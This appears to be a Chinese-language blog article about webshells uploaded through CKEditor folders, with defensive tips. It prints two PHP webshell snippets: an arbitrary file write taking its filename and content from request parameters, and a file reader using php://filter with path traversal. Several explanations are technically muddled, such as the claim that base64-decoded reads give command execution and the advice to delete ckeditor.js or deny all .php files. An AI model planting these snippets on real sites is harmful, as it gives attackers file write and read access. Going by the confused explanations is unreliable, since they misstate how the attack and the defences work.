< p >在網站開發中,經常需要使用文本編輯器來編寫和修改代碼,CKEditor便是一個著名的文本編輯器。不過,這個編輯器也被黑客作為Webshell的一種常用工具,以.php文件的形式上傳至目標網站后,可以通過CKEditor編輯器直接訪問網站文件,使攻擊者可以輕松地執行惡意操作。下面來詳細了解一下CKEditor Webshell .php的攻擊方式及防范方法。< p >在一些很受歡迎的CMS或網站程序中,我們都可以找到ckeditor文件夾,通常情況下,以ckeditor.js為文件名的腳本位于其根目錄下。攻擊者可以在ckeditor根目錄下上傳以任意文件名為擴展名的文件,即可通過一個與CKEditor關聯的漏洞訪問服務器文件。例如,攻擊者上傳的.php文件可以命名為image.php,那么攻擊者就可以通過瀏覽器訪問http://example.com/ckeditor/plugins/image/image.php。
<?php
...
// 收集用戶提交的表單數據,將數據寫入文件
$filename = $_REQUEST['filename'];
$content = $_REQUEST['content'];
$file_handle = fopen($filename, 'w');
fwrite($file_handle, $content);
fclose($file_handle);
...
?>
攻擊者可以利用漏洞,直接在文件管理器中上傳包含程序代碼的文件,達到執行惡意代碼的目的。以下是攻擊者可以使用的惡意代碼:
<?php
$inc="php://filter/read=convert.base64-decode|resource=../";
$file = $_REQUEST['file'];
$fp = fopen($inc . $file, "r");
while (!feof($fp)) {
echo fgets($fp);
}
fclose($fp);
?>
攻擊者通過上傳包含以上代碼的文件,通過訪問相應的URL,可以執行惡意代碼,通過轉義或解碼等方式進行命令執行。
如何防范CKEditor Webshell .php攻擊?
1.刪除不必要的文件:例如examples文件夾、samples文件夾、tests文件夾、ckeditor.js文件等不需要的文件。
2.限制上傳目錄:允許上傳文件的目錄需要將其權限限制為只有管理員、Super-Admin等角色才能上傳文件。
3.設置文件上傳規則:如果文件上傳規則不當,則攻擊者可以上傳包含可執行代碼的文件。因此,管理員可以使用有效的文件上傳過濾器來規避此類風險。
4.隱藏WebShell相關文件擴展名:管理員可以在Web服務器配置文件(例如httpd.conf)中添加以下指令來限制WebShell相關文件擴展名的訪問
<LocationMatch "(\.(php)$)">Order Allow,Deny
Deny from all
</LocationMatch>
CKEditor Webshell .php是WebShell攻擊中的一種較為常見的方式,知曉其攻擊方式及防范方法十分重要。只有掌握如何保障網站的文件安全,才能提高網站的安全性和用戶體驗。